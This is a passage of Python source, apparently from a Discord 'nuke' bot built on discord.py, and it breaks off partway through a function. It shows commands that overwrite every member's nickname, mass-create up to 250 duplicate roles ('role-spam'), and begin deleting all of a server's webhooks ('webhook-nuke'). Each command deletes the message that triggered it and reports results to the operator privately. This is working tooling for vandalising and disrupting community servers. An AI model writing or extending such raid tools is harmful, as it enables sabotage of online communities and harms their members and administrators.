print(f'{Fore.CYAN}{Style.BRIGHT}[NICK-ALL] {Fore.WHITE}Setting all nicknames to "{nickname}" by {author.display_name} in {guild.name}{Style.RESET_ALL}')
# Send initial DM
try:
await author.send(t("nick_all_starting", nickname=nickname))
except discord.Forbidden:
pass
success_count = 0
failed_count = 0
# Get all members
members = list(guild.members)
for member in members:
# Skip bots
if member.bot:
failed_count += 1
continue
# Skip if we can't change their nickname (higher role)
if member.top_role >= guild.me.top_role:
failed_count += 1
continue
if await rate_limited_action(lambda m=member: m.edit(nick=nickname, reason=f"Nick-all by {author}")):
success_count += 1
else:
failed_count += 1
# Send completion DM
print(f'{Fore.CYAN}{Style.BRIGHT}[NICK-ALL] {Fore.WHITE}Complete: {success_count} nicknames changed, {failed_count} failed{Style.RESET_ALL}')
try:
embed = discord.Embed(
description=t("nick_all_complete", count=success_count, failed=failed_count),
color=discord.Color.green()
)
await author.send(embed=embed)
except discord.Forbidden:
pass
except discord.Forbidden:
await send_dm(ctx, t("nick_all_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='role-spam')
@commands.has_permissions(administrator=True)
async def role_spam(ctx, role_name: str, count: int):
"""Mass create roles with a specific name"""
try:
# Delete command message
try:
await ctx.message.delete()
except (discord.HTTPException, discord.NotFound):
pass
if count <= 0:
await send_dm(ctx, t("role_spam_invalid_count"))
return
if count > 250:
await send_dm(ctx, t("role_spam_too_many"))
return
guild = ctx.guild
author = ctx.author
print(f'{Fore.MAGENTA}{Style.BRIGHT}[ROLE-SPAM] {Fore.WHITE}Creating {count}x "{role_name}" roles by {author.display_name} in {guild.name}{Style.RESET_ALL}')
# Send initial DM
try:
await author.send(t("role_spam_starting", count=count, name=role_name))
except discord.Forbidden:
pass
created_count = 0
failed_count = 0
for _ in range(count):
try:
await guild.create_role(name=role_name, reason=f"Role-spam by {author}")
created_count += 1
except discord.HTTPException:
# Rate limited or too many roles
failed_count += 1
await asyncio.sleep(0.5)
except Exception as e:
failed_count += 1
# Send completion DM
print(f'{Fore.MAGENTA}{Style.BRIGHT}[ROLE-SPAM] {Fore.WHITE}Complete: {created_count} roles created, {failed_count} failed{Style.RESET_ALL}')
try:
embed = discord.Embed(
description=t("role_spam_complete", created=created_count, failed=failed_count),
color=discord.Color.purple()
)
await author.send(embed=embed)
except discord.Forbidden:
pass
except discord.Forbidden:
await send_dm(ctx, t("role_spam_no_permission"))
except Exception as e:
await send_dm(ctx, t("error_occurred", error=str(e)))
@is_authorized()
@bot.command(name='webhook-nuke')
@commands.has_permissions(administrator=True)
async def webhook_nuke(ctx):
"""Delete all webhooks in the server"""
try:
# Delete command message
try: